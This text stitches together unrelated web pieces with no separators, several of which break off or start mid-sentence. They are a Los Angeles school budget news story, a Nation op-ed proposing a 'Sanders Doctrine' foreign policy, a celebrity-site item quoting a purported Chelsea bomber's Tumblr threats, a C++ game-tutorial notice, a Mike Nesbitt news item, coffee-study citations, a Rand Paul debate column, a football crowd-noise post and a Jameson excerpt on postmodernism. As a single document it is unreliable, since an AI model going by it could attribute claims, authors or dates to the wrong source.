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Minecraft New Nintendo 3DS Edition reviewed by CJ AndriessenThe Los Angeles Board of Education is expected to vote Tuesday on a worst-case $6-billion budget that would eliminate thousands of jobs, close all of the district's adult schools and eliminate some after-school and arts programs, among a slew of other reductions.
The budget plan could change, and even if it is approved by the school board, a final version of the budget most likely is months away. But the nation's second-largest school system is under pressure to pare more than $390 million from the budget for next year.
Supporters of the programs up for elimination are expected to rally outside of Los Angeles Unified School District’s downtown headquarters ahead of the afternoon meeting.
Last month, the board delayed a vote on a budget plan with similar cuts aimed at bridging a $557-million budget gap. Instead, the board directed Supt. John Deasy to work with his staff and the unions for teachers and other employees to develop a proposal that avoids eliminating these programs and allow the parties to consider updated state budget information.
In a letter to the board obtained by The Times, Deasy explained that the readjustment of the district’s budget deficit comes after a combination of a $108 million reduction in state funding cuts for the district, including restoration of projected cuts to transportation for schools, higher-than-expected state lottery revenues and a decrease in projected benefits expenditures.
The smaller deficit could lead to less severe cuts and fewer layoffs, said Tom Waldman, a spokesman for the district.
Last month, the board approved sending more than 11,700 layoff notices to teachers and support staff. The district has had more than 8,000 layoffs over the last four years but eventually hired many back.
In his letter, Deasy urges the board to pass the interim budget, but also suggests several options to further reduce the deficit and mitigate program cuts and layoffs. The options, however, require approval by the teacher unions and additional state revenue.
According to a draft of the budget proposal obtained by The Times, all of the district’s adult school could be closed and 1,500 teachers, administrators and other employees from those schools could be fired.
The district's early education programs could operate solely on revenue they generate.
Elementary and middle school class sizes may rise, and funding for GATE, the district's program for gifted and talented students, would be cut in half, according to that plan.
A dropout recovery program offered by L.A. Unified's Division of Adult Education might be safe from massive cuts, but could be relocated to high schools.
Even the district's perennially dominant Academic Decathlon program would be hit. The program, which has 63 teams and has won 17 state and 12 national championships, would lose its $850,000 budget.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Lots of people—supporters and opponents alike—are asking what a Bernie Sanders foreign policy doctrine would look like. Beyond a few specific references and the important reminder that he, unlike Hillary Clinton, opposed the Iraq War, he’s tended to redirect questions about international issues to his strong suit—his powerful talking points about economic inequality at home.
Here’s a potential “Sanders Doctrine” linking Bernie’s focus on domestic inequities directly to the most pressing foreign policy issues of our time: No Wars for the Billionaire Class.
That provides a framework to answer all or at least most of the questions. Will Bernie support US wars, following Obama’s lead into troop surges (Afghanistan), regime change (Libya), and drone wars (across at least seven countries), or will Sanders privilege diplomacy instead? What will US allies think of a Sanders presidency? How will he do as commander in chief? What about this seeming lack of foreign-policy advisers—is anyone left in the Democratic Party mainstream foreign-policy stables now that Hillary has finished vacuuming up virtually every wannabe White House expert around? And if not, who else is out there?
Coming out against wars that benefit the US and global 1 percent provides a whole new 21st-century way of understanding both President Eisenhower’s warning about the power of the military-industrial complex and Dr. Martin Luther King Jr.’s warning about the deadly triplets of militarism, racism, and extreme materialism.
No Wars for the Billionaire Class means standing up to the overarching influence of the arms-producing companies, especially their overpaid CEOs (perhaps recalling an earlier era of US history, when war profiteering was actually deemed illegal as well as immoral). It requires saying no to dictators who want to buy more expensive weapons, no matter how close their alliance with the United States. It means facing down the oil industry and its demand for US military protection—often including military occupation of other countries—of its pipelines, oilfields, and other facilities abroad. It means challenging the too-frequent Pentagon role in building bases and deploying troops and bombers to protect the far-flung interests of US and global corporations and further enrich the already super-rich. It means reversing the diversion of more than 54 cents of every discretionary federal dollar away from jobs, education, and healthcare to fund the military.
It is already obvious that Clinton’s much-touted experience bears little relationship to those principles. While Obama bears full responsibility for the militarization of foreign policy and the failed wars on his watch, there is no question that Clinton served as cheerleader for the most hawkish positions that some in the White House, including the president himself, acceded to only reluctantly. Trying to pivot away from Sanders’s debate statement that she bore major responsibility for today’s violence and chaos in Libya, Clinton claimed, accurately, that he too, had voted for the US/NATO bombing campaign. But she went on to claim, not so accurately, that the UN resolution she had helped craft to justify the attack on Libya made it all somehow benign; she ignored the fact that the only reason key Security Council countries, including Russia, China, and South Africa, accepted the resolution was because it was specifically limited to protecting civilians—it did not authorize regime change. South Africa’s foreign ministry even apologized later for having made the mistake of supporting the resolution.
The Sanders Doctrine would recognize that fighting terrorism requires a wide range of strategies that aim to change conditions on the ground in people’s lives, so that brutal terror organizations are more and more isolated and weakened, instead of growing bigger and more empowered. It would reassert and act on President Obama’s frequent statement that “there is no military solution.” The Sanders Doctrine would acknowledge that we have been “at war” with terrorism for 15 years and yet terrorism is thriving, while people and cities and societies are crushed in that war. And it would go beyond rhetoric to craft an entirely different approach to fighting global terror. A Sanders Doctrine would move away from militarism to concentrate on diplomacy, humanitarian aid, and economic pressure.
The strategies of a Sanders Doctrine would reject the drone wars, airstrikes, Special Forces’s attacks, and other military efforts that have failed to end terrorism, and have instead had the effect of driving more people into the arms of ISIS, Al Qaeda, and other terrorist organizations. The Sanders Doctrine would move away from militarism to concentrate on the difficult, less dramatic campaigns that privilege diplomacy, negotiations, humanitarian assistance, economic pressure—those things would come first, not as an afterthought. And they would all be based on the same starting point that every aspiring doctor learns on her first day of medical school: the Hippocratic Oath—first, do no harm.
So what are the specific positions that would make up such a new democratic—small “d”—foreign policy? Here are just a few examples of what a Sanders Doctrine might look like:
* On military aid to Israel and Egypt: Sanders once said, “I have a problem with appropriating $2 billion to Egypt and $3 billion to Israel. Let’s take care of some of the problems we have at home first.” He should reaffirm that, making clear that foreign aid is an important part of US policy, and should remain so. But Israel is a wealthy country. And the entire $3.1 billion we send to Israel every year—anticipated to go up to $4 billion a year beginning in 2018—goes directly to its military, already by far the most powerful in the region. About half the aid to Egypt goes to its military also. Congress rightly restricted military aid after the 2012 coup, supposedly so that it could be sent only after Egypt made explicit steps toward democratization. That hasn’t happened—in fact government repression has significantly intensified—so it’s outrageous that the current administration still decided to release F-16s, Harpoon missiles, and Abrams tanks to the Egyptian military.
A Sanders administration would recognize that four and a half billion dollars worth of military aid could be used much better at home for healthcare, jobs, education, and more. Plus, we could give some additional aid to poor countries that really need our help with some of their social crises.
* On relations with Iran: The nuclear deal with Iran is a great example of the power of diplomacy, and a huge victory of diplomacy over war. Sanders should reaffirm how crucial it is that we remain engaged with Tehran to insure that the terms of the deal are implemented on all sides. Indeed, we should be trying to expand the narrow terms of the deal to a broader understanding with Iran where we share common interests in the region—such as ending the war in Syria, ending instability in Iraq, and beyond. I think Sanders believes that Tehran recognizes that Iran’s own interests should lead to easing tensions with the United States, indeed with the West as a whole. And he certainly knows that any military action against Iran would threaten an incredibly dangerous, rapidly escalating war across the region and beyond. The only ones who would benefit from such action would be the CEOs of the arms manufacturers and the oil industry. A Sanders administration would work to avoid that, instead engaging in the tougher, slower, less telegenic—but ultimately more fruitful—work of diplomacy to achieve our goals.
* On US obligations toward Syrian refugees: We should begin by recognizing how our policies—especially our 2003 invasion and occupation of Iraq—helped create the current crisis. There is certainly a regional refugee crisis—with two and a half million Syrian refugees in Turkey, one in four people of the entire population of Lebanon now a Syrian refugee, hundreds dying every month trying to get from Turkey to Greece. But we don’t have a refugee crisis here at home—we have a racism crisis, a xenophobia crisis.
We are a huge and wealthy country, with space and money and compassion. The overwhelming majority of Syrian refugees, despite their dire conditions, do not want to leave the region; they want to stay close enough so they can go home as soon as possible. But many do need permanent resettlement. We should begin by offering to take in 100,000 of them; that’s the number being cited by key refugee support agencies. We should also never abandon our humanitarian and international law obligations—including full funding for the UN Refugee Agency (UNHCR) and other international bodies supporting refugees. A Sanders Doctrine would recognize that since the United States possesses 28 percent of the world’s wealth, we should be paying at least 28 percent of what the UN needs to care for the world’s refugees. Some of our tax money now designated for waging wars should be used to support refugees, which will actually make us safer than continuing our failed war policies.
* On what to do about ISIS: We need to begin by recognizing that US military strategies—air strikes and drone assassinations, ground troops and Special Forces, more arms and more training of rebels—aren’t working. Using war against terrorism has failed, and we need to respond differently. That can start by acknowledging why ISIS is so powerful in the first place.
ISIS is well armed. We and our allies must stop flooding the region with arms; many of them wind up in extremists’s hands. Many of the Syrian “moderates” we supply are overrun by (or their fighters defect to) ISIS, Al Qaeda’s Syrian franchise (the Nusra Front), or other not-so-moderate militias. And when Iraqi army generals abandon their troops, those soldiers in turn abandon their US-provided weapons and flee when faced with even small numbers of ISIS fighters. Whether these weapons are deployed by extremists or by the supposedly “moderate” governments or militias we support, the result is more and more violence against civilians. We must end our policy of ignoring the violations of human rights and international law committed with our weapons and by our allies. Only when we stop providing weapons to our regional allies, who are arming the whole range of opposition forces from the Free Syrian Army to the most extreme Islamists, including ISIS, will we have the credibility to press Iran and Russia to end their arming of the Syrian regime.
ISIS also has a good military leadership. In Iraq, Sunni Baathist generals who were kicked out of their positions in the military after the United States invaded are now providing training, strategy, and military leadership to ISIS-allied militias and ISIS itself. Many of them reject religious extremism, and would be unlikely to continue their support for ISIS if they believed a new, truly inclusive government in Baghdad would give them some chance of recovering their lost jobs, prestige, and dignity. We must press our Iraqi-government allies to make serious changes and abandon the current sectarianism, to convince those former military leaders that there is a place for them in a new and different Iraq.
ISIS draws additional strength from the support it receives from Sunni civilians and tribal leaders in Iraq—the very people President Obama says he wants to “persuade” to break with ISIS. But these people are loyal to ISIS because, first during the US invasion and especially in the years of the US-backed Shia-controlled sectarian government of Nouri al-Maliki, they suffered grievously. They were demonized, attacked, and dispossessed by the government in Baghdad, and many of those attacks continue today. As a result, many of them see ISIS not as a horrifyingly violent terror group but as the only available protector of Sunni interests. That’s why Sunni militias are willing to fight alongside ISIS against the government in Baghdad. Visit Cuba with The Nation! Learn More
Ending the support that ISIS relies on from tribal leaders, military figures and ordinary Sunnis requires local mobilization; it can’t be imposed by US intervention. We need to acknowledge the limitations of our role. There are, however, many things that we can do to help end the violence spreading across the Middle East. We must work harder to end funding sources of ISIS. We should crack down on our allies’s financial support for extremist factions, including Al Qaeda and ISIS. Most analysts agree that a major part of ISIS funding comes from Saudi Arabia; whether it comes from official or unofficial sources, the kingdom certainly has enough control over its population to end the practice. Pressure must also be brought to bear on oil companies and oil traders, especially Turkish middlemen, who traffic in ISIS oil. Bombing oil-truck convoys creates environmental as well as human disasters; we should instead follow the model of the successful campaigns against the purchase of “blood diamonds” from Africa. ISIS would suffer a substantial blow if it could not find buyers for its oil.
* On changing relations with Cuba: We should work to end the trade embargo immediately and move toward full normalization of relations. The embargo hasn’t worked to change the nature of the Cuban government, and it has prevented our own people from being able to travel to Cuba and engage with ordinary Cubans about how we govern our countries, about culture and agriculture and environmental issues. We could probably learn some things from Cuba, like how it manages every year to have better outcomes than we do, in fact the best in the Western Hemisphere, in areas like overall literacy, basic healthcare, infant mortality.
And while we’re talking about Cuba, a Sanders Doctrine would use whatever methods are available (including executive action if congressional approval is still impossible) to close the US prison at Guantánamo Bay and to open discussions with Cuba over return of Guantánamo to Cuban sovereignty.
* On the new global “free trade” treaties: US leadership in negotiating and advocating passage of the Trans-Atlantic Trade & Investment Partnership (TTIP), the Trans-Pacific Partnership (TPP), and other corporate-privileging trade deals has made passage of these agreements far more likely. A Sanders Doctrine would recognize the danger of such deals, particularly in the way they empower corporate “rights” even over national sovereignty of countries around the world, and would immediately end its support and pull out of the negotiations. “Free trade” agreements would be replaced by “fair trade” agreements based on protection of workers, the environment, indigenous communities, and democracy.
* On negotiations with opponents: A Sanders Doctrine would recognize that former President Jimmy Carter was right in his willingness to meet with any world leader, any time, any place. It would make good on the principle that talking is always better than fighting—and that US democracy should abandon the notion that simply talking to a leader we disagree with—even one we adamantly oppose because of human rights violations or other issues—somehow represents a reward. Learning from former senator George Mitchell’s statements after his work on the Good Friday accords in Northern Ireland, if we are serious about diplomacy, everyone has to be at the table. That goes for world leaders as much as everyone else. A Sanders Doctrine would operate with the understanding that if we exclude someone from the discussion, we’re giving them permission to ignore or violate whatever agreement we reach with those few people who are present—and that guarantees failure. Sanders-style diplomacy would aim for success, such as what we got in the Iran deal, not failure.
These and other foreign-policy components would constitute a coherent Sanders Doctrine and allow a Sanders presidency to truly challenge the billionaire class, not only at home but around the world.This is so scary. Less than 24 hours after a huge explosion shook the NYC neighborhood of Chelsea, the supposed bomber left an eerie message on a Tumblr page to claim responsibility — and possibly even name Donald Trump as the reason for it. Read the post right here.
On a Tumblr page titled “I’m The NY Bomber,” the author wrote that the posts they shared would be their “manifesto” for the explosion that occurred in New York City on Sept. 17. While the two posts on the page (titled “Manufacturing Test Explosives” and “Taking a human life”) citied oppression of the LGBTQ community as a motive for the bombing, the author hinted that Donald Trump was also a major factor.
“I am not going to live in a country where it is OK to have a misogynist, xenophobic, racist Islamophobic, republican candidate running for President of The United States!” the author wrote. “That’s implying that republicans in general should even be taken seriously as they are all cisgendered privileged white people.”
Although the author of the page — who identified themselves as a member of the LGBTQ community — didn’t call out Donald Trump by name in the post, it’s more than obvious that the supposed bomber is frustrated that there’s a possibility of the 70-year-old becoming president. According to what the person wrote, the bombing wasn’t a protest against Donald specifically, but he certainly didn’t help anything!
The authenticity of the blog, which included a rainbow flag in its banner, has yet to be confirmed and the person behind the page remains unidentified. NYPD are currently investigating the blog, but that doesn’t make the threat of the bomb any less terrifying — especially because the author hinted that there are more bombings like this one to come.
“This is not the end, this is just the beginning. I will be remembered. I will make a difference. I will eliminate my targets before it is too late,” they wrote, citing LGBTQ oppression as their main motive. “I suppose I’m just going to have to move forward knowing that what I am doing had a purpose and will in fact make a difference. I’ll keep you all posted.”
The page has since been taken down, as a Tumblr spokesperson said “it violated Tumblr’s Terms of Service and Community Guidelines.” The spokesperson added that the site is working with law enforcement regarding the investigation of the blog.
In case you missed what happened on Sept. 17, a bomb exploded inside of a dumpster in the Chelsea neighborhood of NYC that left 29 injured. Fortunately none of the victims were in critical condition and have already been released from the hospital, but the looming threat of more bombings to come is still horrifying for New York City residents and the rest of the country alike. We can only hope that the investigation of this Tumblr page will lead to the culprit before something more dangerous happens.
HollywoodLifers, what do you think of the Tumblr post? Do you think the bombing was a protest against Donald Trump? Tell us below!NOTE: This project is effectively on standby for the time being.
For the usual viewers, you probably remember I mentioned a few times that I was struggling to find the free time to prepare the streams. I need to allocate the little free time I have to other personal projects and family, so after thinking for a few days and a talk with my wife, I've decided I had to stop something in order to get some time back.
Thank you for hanging around. :)
Introduction
I work full time as a game developer at Cloudgine Ltd.
In this tutorial we'll be creating simplified clone of AirMech using some open source libraries to help us put together a basic game engine.
We'll be focusing heavily on code, so very simple 3D models will be used, or any adequate free models we can find.
What are the requirements?
Intermediate/Advanced C++ Ideally you should have some C++ knowledge already, but I'll do my best to explain any unfamiliar concepts.
Visual Studio C++ 2017 Community (It's free) In practice, most code will portable C++, so any other modern C++ compiler would do the job, but Visual Studio is is the de-facto C++ IDE for game development in commercial environments.
Basic knowledge of CMake
Git as source control
Since we will be using an open source math library, knowledge of how to use vectors, quaternions and matrixes will help, but no need to know how to code your own.
What is the target audience?
Casual programmers wanting to learn more about what goes into programming a game
Programmers in other languages that want to learn C/C++
Programmers wanting to learn good modern C++ practices.
When are the streaming sessions (streaming schedule)?
Weekly 10 pm (London Time) on Wednesday and Sunday.UUP's Mike Nesbitt lying face down on Belfast hotel floor BelfastTelegraph.co.uk Pictures have emerged of former UUP leader Mike Nesbitt lying face down on a Belfast hotel floor while a woman sits on him and another holds him by the collar after an incident. https://www.belfasttelegraph.co.uk/news/northern-ireland/uups-mike-nesbitt-lying-face-down-on-belfast-hotel-floor-35691177.html https://www.belfasttelegraph.co.uk/news/northern-ireland/article35698694.ece/9b85c/AUTOCROP/h342/2017-05-10_new_31021545_I7.JPG
Email
Pictures have emerged of former UUP leader Mike Nesbitt lying face down on a Belfast hotel floor while a woman sits on him and another holds him by the collar after an incident.
It happened at a Belfast hotel last month.
The politician had been out with friends when it's understood he became involved in a dispute with two guests.
Pictures, published in The Sun newspaper on Monday, show Mr Nesbitt lying face down on the carpet. A woman is seen holding him by the collar while another appears to be sitting on his legs.
It's understood Mr Nesbitt was out with three friends for a drink and was approached when he entered the hotel and asked about his work as a politician.
Asked about the incident he would only say "things happened" and refused to elaborate on how he ended up on the floor.
"I don't want to say any more," he told The Sun.
"When you have a profile and you go out in public, you can't expect people to fully respect your privacy."
The UUP has been asked for a comment.
Mr Nesbitt resigned as UUP leader following its poor showing in the Assembly election in March. The former UTV and BBC journalist is the party's candidate in the General Election for Strangford.
B |
ytokine expression in spontaneously diabetic KK-Ay mice. J Agric Food Chem 2010 ; 58 : 5597 – 603. 50. Shearer J Farah A de Paulis T Bracy DP Pencek RR Graham TE Wasserman DH Quinides of roasted coffee enhance insulin action in conscious rats. J Nutr 2003 ; 133 : 3529 – 32. 51. Cornelis MC El-Sohemy A Kabagambe EK Campos H Coffee, CYP1A2 genotype, and risk of myocardial infarction. JAMA 2006 ; 295 : 1135 – 41. 52. Acheson KJ Caffeine and insulin sensitivity. Metab Syndr Relat Disord 2005 ; 3 : 19 – 25. 53. Mure K Maeda S Mukoubayashi C Mugitani K Iwane M Kinoshita F Mohara O Takeshita T Habitual coffee consumption inversely associated with metabolic syndrome-related biomarkers involving adiponectin. Nutrition 2013 ; 29 : 982 – 7. 54. Yki-Järvinen H Nutritional modulation of nonalcoholic fatty liver disease and insulin resistance: human data. Curr Opin Clin Nutr Metab Care 2010 ; 13 : 709 – 14.
ABBREVIATIONS
C control diet
C-HCA caffeinated coffee high in chlorogenic acid
CRC clinical research center
D-HCA decaffeinated coffee high in chlorogenic acid
D-RCA decaffeinated coffee with regular amounts of chlorogenic acid
HFr high-fructose diet
HGP hepatic glucose production
IHCL intrahepatocellular lipid
IMCL intramyocellular lipid
MR magnetic resonance
MRS magnetic resonance spectroscopy
NEFA nonesterified fatty acid
© 2014 American Society for NutritionHow do I know that Rand Paul just won another GOP presidential debate?
He was hardly mentioned in the post-debate coverage. That's how I know.
All this can best be explained by a stunning new metric that has sprung fully formed from my rather large forehead:
The Negative Rand Paul Quotient.
To determine the Negative Rand Paul Quotient, you scan the post-debate news coverage. Then tally up the many times talking heads said New Jersey Gov. Chris Christie came off as "strong," even though "strong" means shooting down Russian fighter jets over Syria and kick-starting World War III.
Take the number of times Paul was not mentioned and multiply by (Infinity +/- 1). Toss in some other stuff you don't really remember from Algebra II.
And that gives you the Negative Rand Paul Quotient, or NRPQ.
Of course, part of the reason that Paul is plagued with the NRPQ is that he's doing poorly in national polls and barely made it onto the main debate stage.
And many of you think I'm crazy because I've said Paul won the other debates too. But I can't help it if he did.
Yet I can't let Paul completely off the hook for his own political problems. The man is somewhat boring.
Rather than boast about turning the Middle Eastern sands to glow-in-the-dark mush, or lopping heads of enemies or smashing Vladimir Putin right in his smirking face, Paul talked of other matters.
Such as our national debt and how our habit of borrowing "a million dollars a minute" weakens the nation.
But debt doesn't seem to bother other Republican candidates, and it certainly doesn't bother Democrats, who live to spend.
What really makes Paul boring is that he doesn't favor sending your kids to Syria. And he's not big on toppling ruthless Middle Eastern dictators just to see what happens.
And Paul is nothing like the supreme Democratic war hawk, Hillary Clinton, who already has blood on her raptor's claws from her Libyan adventure and will stain them a deep crimson should she be elected president.
"Regime change hasn't won," Paul said in his opening remarks. "Toppling secular dictators in the Middle East has only led to chaos and the rise of radical Islam. I think if we want to defeat terrorism, I think if we truly are sincere about defeating terrorism, we need to quit arming the allies of ISIS."
Sounds logical, but you didn't hear much of it on the news because of the NRPQ I just told you about.
Then Paul made it worse by talking of That Which Shall Not Be Named.
"As commander-in-chief, I will do whatever it takes to defend America. But in defending America, we cannot lose what America stands for. Today is the Bill of Rights' anniversary. I hope we will remember that and cherish that in the fight on terrorism."
The Bill of Rights? What the …? No wonder he's so low in the polls.
Now, Donald Trump knows how to campaign. He wants to ban Muslims and kick out millions of Mexicans and attack the Internet and kill the wives and children of terrorists.
He doesn't know doodly-squat about the U.S. nuclear triad — "For me, nuclear, the power, the devastation, is very important to me," he said in response to a question about that Tuesday — but still he's rising in the polls and doesn't have to bother with all that Bill of Rights stuff.
"So, they can kill us, but we can't kill them?" Trump asked.
Then the others joined in to all demonstrate that, yes, they too are tough.
It sounded like they were singing the "Ride of the Valkyries."
"And for the Russians, frankly, it's time that we punched the Russians in the nose!" said whiny Ohio Gov. John Kasich.
What was weird, besides Kasich talking about punching anyone, was his hand motions, like some angry Benihana chef with slave shrimp on the grill.
CNN's Wolf Blitzer asked Christie if he'd risk a war with Russia by shooting down Russian fighter planes in a hypothetical no-fly zone above Syria.
"Not only would I be prepared to do it, I would do it," said Christie, determined not to be seen as some feckless weakling.
So fierce was he that Christie was half Clemenza from "The Godfather" and half Charles Laughton as the angry Quasimodo (when the evil bishop threatens the beautiful gypsy girl).
"A no-fly zone means a no-fly zone, Wolf! That's what it means," Christie said.
Carly Fiorina cried that she too would teach Putin a lesson, adding she'd reassemble the warrior class and craft a ruthless plan.
And then she played the gender card, rather awkwardly, speaking through her adenoids and making those odd head-shaking motions of hers.
FIORINA: "I'll just add that Margaret Thatcher once said, "If you want something talked about, ask a man; if you want something done, ask a woman."
(APPLAUSE)
BLITZER: Thank you.
Sens. Ted Cruz and Marco Rubio canceled each other out. And Jeb! was still Jeb!, oblivious to the fact that Republicans don't want a Bush Restoration.
"Well, I think if you're in favor of World War III, you have your candidate," Paul said of Christie, but then included the others who, like Clinton, have promised to push a no-fly zone in Syria right in Putin's face.
"My goodness, what we want in a leader is someone with judgment," Paul said, "not someone who is so reckless as to stand on the stage and say, 'Yes, I'm jumping up and down; I'm going to shoot down Russian planes.' It is a recipe for disaster."
Yes, Senator, it is a recipe for disaster.
And a recipe for getting votes.
jskass@tribpub.com
Twitter @John_Kassvia r/cfb
Jim Harbaugh, Super Bowl head coach, was a star quarterback for the Michigan Wolverines in the 1980s. In the 1980s, nothing but Guns N Roses was permitted to reach a certain decibel level. It was kind of like how buildings in Paris can't be taller than the Eiffel Tower.
Seeing a college football game held up until the crowd calmed down used to be a not-unfamiliar occurrence -- here a referee asks the PA announcer to explain the NCAA rule against excessive crowd noise, which can result in a time out penalty against the home team. Here Michigan does the same filibustering at Notre Dame in 1988, a school which last year released a campaign meant to stir fans into actually cheering.
Note how Harbaugh's Academic All-Big Ten bona fides are cited by the announcers as he dilly dallies. This is, technically, smart football, even though it only riled those Sun Devils up more.
The rule is still on the books, but no longer really enforced. These days, only Mississippi State and its cowbells are known for drawing threats from the rule book. So let us imagine a referee telling the LSU crowd late in last year's Alabama game that it should be more considerate of the offense's communication attempts.
Look through SB Nation's many excellent college football blogs to find your team's community.
Follow @SBNationCFBFredric Jameson (1991)
Postmodernism
or, The Cultural Logic of Late Capitalism
Source: Postmodernism, or, The Cultural Logic of Late Capitalism Verso, 1991. Just two sections from Chapter 1 reproduced here.
I
The last few years have been marked by an inverted millenarianism in which premonitions of the future, catastrophic or redemptive, have been replaced by senses of the end of this or that (the end of ideology, art, or social class; the “crisis” of Leninism, social democracy, or the welfare state, etc., etc.); taken together, all of these perhaps constitute what is increasingly called postmodernism. The case for its existence depends on the hypothesis of some radical break or coupure, generally traced back to the end of the 1950s or the early 1960s.
As the word itself suggests, this break is most often related to notions of the waning or extinction of the hundred-year-old modern movement (or to its ideological or aesthetic repudiation). Thus abstract expressionism in painting, existentialism in philosophy, the final forms of representation in the novel, the films of the great auteurs, or the modernist school of poetry (as institutionalised and canonised in the works of Wallace Stevens) all are now seen as the final, extraordinary flowering of a high-modernist impulse which is spent and exhausted with them. The enumeration of what follows, then, at once becomes empirical, chaotic, and heterogeneous: Andy Warhol and pop art, but also photorealism, and beyond it, the “new expressionism”; the moment, in music, of John Cage, but also the synthesis of classical and “popular” styles found in composers like Phil Glass and Terry Riley, and also punk and new wave rock (the Beatles and the Stones now standing as the high-modernist moment of that more recent and rapidly evolving tradition); in film, Godard, post-Godard, and experimental cinema and video, but also a whole new type of commercial film (about which more below); Burroughs, Pynchon, or Ishmael Reed, on the one hand, and the French nouveau roman and its succession, on the other, along with alarming new kinds of literary criticism based on some new aesthetic of textuality or écriture... The list might be extended indefinitely; but does it imply any more fundamental change or break than the periodic style and fashion changes determined by an older high-modernist imperative of stylistic innovation?
It is in the realm of architecture, however, that modifications in aesthetic production are most dramatically visible, and that their theoretical problems have been most centrally raised and articulated; it was indeed from architectural debates that my own conception of postmodernism – as it will be outlined in the following pages – initially began to emerge. More decisively than in the other arts or media, postmodernist positions in architecture have been inseparable from an implacable critique of architectural high modernism and of Frank Lloyd Wright or the so-called international style (Le Corbusier, Mies, etc), where formal criticism and analysis (of the high-modernist transformation of the building into a virtual sculpture, or monumental “duck,” as Robert Venturi puts it), are at one with reconsiderations on the level of urbanism and of the aesthetic institution. High modernism is thus credited with the destruction of the fabric of the traditional city and its older neighbourhood culture (by way of the radical disjunction of the new Utopian high-modernist building from its surrounding context), while the prophetic elitism and authoritarianism of the modern movement are remorselessly identified in the imperious gesture of the charismatic Master.
Postmodernism in architecture will then logically enough stage itself as a kind of aesthetic populism, as the very title of Venturi’s influential manifesto, Learning from Las Vegas, suggests. However we may ultimately wish to evaluate this populist rhetoric, it has at least the merit of drawing our attention to one fundamental feature of all the postmodernisms enumerated above: namely, the effacement in them of the older (essentially high-modernist) frontier between high culture and so-called mass or commercial culture, and the emergence of new kinds of texts infused with the forms, categories, and contents of that very culture industry so passionately denounced by all the ideologues of the modern, from Leavis and the American New Criticism all the way to Adorno and the Frankfurt School. The postmodernisms have, in fact, been fascinated precisely by this whole “degraded” landscape of schlock and kitsch, of TV series and Reader’s Digest culture, of advertising and motels, of the late show and the grade-B Hollywood film, of so-called paraliterature, with its airport paperback categories of the gothic and the romance, the popular biography, the murder mystery, and the science fiction or fantasy novel: materials they no longer simply “quote” as a Joyce or a Mahler might have done, but incorporate into their very substance.
Nor should the break in question be thought of as a purely cultural affair: indeed, theories of the postmodern – whether celebratory or couched in the language of moral revulsion and denunciation – bear a strong family resemblance to all those more ambitious sociological generalisations which, at much the same time bring us the news of the arrival and inauguration of a whole new type of society, most famously baptised “Postindustrial society” (Daniel Bell) but often also designated consumer society, media society, information society, electronic society or high tech, and the like. Such theories have the obvious ideological mission of demonstrating, to their own relief, that the new social formation in question no longer obeys the laws of classical capitalism, namely, the primacy of industrial production and the omnipresence of class struggle. The Marxist tradition has therefore resisted them with vehemence, with the signal except on of the economist Ernest Mandel, whose book Late Capitalism sets out not merely to anatomise the historic originality of this new society (which he sees as a third stage or moment in the evolution of capital) but also to demonstrate that it is, if an thing, a purer stage of capitalism than any of the moments that preceded it. I will return to t is argument later; suffice it for the moment to anticipate a point that will be argued in Chapter 2, namely, that every position on postmodernism in culture – whether apologia or stigmatisation – is also at one and the same time, and necessarily, an implicitly or explicitly political stance on the nature of multinational capitalism today.
A last preliminary word on method: what follows is not to be read as stylistic description, as the account of one cultural style or movement among others. I have rather meant to offer a periodising hypothesis, and that at a moment in which the very conception of historical periodisation has come to seem most problematical indeed. I have argued elsewhere that all isolated or discrete cultural analysis always involves a buried or repressed theory of historical periodisation; in any case, the conception of the “genealogy” largely lays to rest traditional theoretical worries about so-called linear history, theories of “stages,” and teleological historiography. In the present context, however, lengthier theoretical discussion of such (very real) issues can perhaps be replaced by a few substantive remarks.
One of the concerns frequently aroused by periodising hypotheses is that these tend to obliterate difference and to project an idea of the historical period as massive homogeneity (bounded on either side by inexplicable chronological metamorphoses and punctuation marks). This is, however, precisely why it seems to me essential to grasp postmodernism not as a style but rather as a cultural dominant: a conception which allows for the presence and coexistence of a range of very different, yet subordinate, features.
Consider, for example, the powerful alternative position that postmodernism is itself little more than one more stage of modernism proper (if not, indeed, of the even older romanticism); it may indeed be conceded that all the features of postmodernism I am about to enumerate can be detected, full-blown, in this or that preceding modernism (including such astonishing genealogical precursors as Gertrude Stein, Raymond Roussel, or Marcel Duchamp, who may be considered outright postmodernists, avant la lettre). What has not been taken into account by this view, however, is the social position of the older modernism, or better still, its passionate repudiation by an older Victorian and post-Victorian bourgeoisie for whom its forms and ethos are received as being variously ugly, dissonant, obscure, scandalous, immoral, subversive, and generally “antisocial.” It will be argued here, however, that a mutation in the sphere of culture has rendered such attitudes archaic. Not only are Picasso and Joyce no longer ugly, they now strike us, on the whole, as rather “realistic,” and this is the result of a canonisation and academic institutionalisation of the modern movement generally that can be to the late 1950s. This is surety one of the most plausible explanations for the emergence of postmodernism itself, since the younger generation of the 1960s will now confront the formerly oppositional modern movement as a set of dead classics, which “weigh like a nightmare on the brains of the living,” as Marx once said in a different context.
As for the postmodern revolt against all that, however, it must equally be stressed that its own offensive features – from obscurity and sexually explicit material to psychological squalor and overt expressions of social and political defiance, which transcend anything that might have been imagined at the most extreme moments of high modernism – no longer scandalise anyone and are not only received with the greatest complacency but have themselves become institutionalised and are at one with the official or public culture of Western society.
What has happened is that aesthetic production today has become integrated into commodity production generally: the frantic economic urgency of producing fresh waves of ever more novel-seeming goods (from clothing to aeroplanes), at ever greater rates of turnover, now assigns an increasingly essential structural function and position to aesthetic innovation and experimentation. Such economic necessities then find recognition in the varied kinds of institutional support available for the newer art, from foundations and grants to museums and other forms of patronage. Of all the arts, architecture is the closest constitutively to the economic, with which, in the form of commissions and land values, it has a virtually unmediated relationship. It will therefore not be surprising to find the extraordinary flowering of the new postmodern architecture grounded in the patronage of multinational business, whose expansion and development is strictly contemporaneous with it. Later I will suggest that these two new phenomena have an even deeper dialectical interrelationship than the simple one-to-one financing of this or that individual project. Yet this is the point at which I must remind the reader of the obvious; namely, that this whole global, yet American, postmodern culture is the internal and superstructural expression of a whole new wave of American military and economic domination throughout the world: in this sense, as throughout class history, the underside of culture is blood, torture, death, and terror.
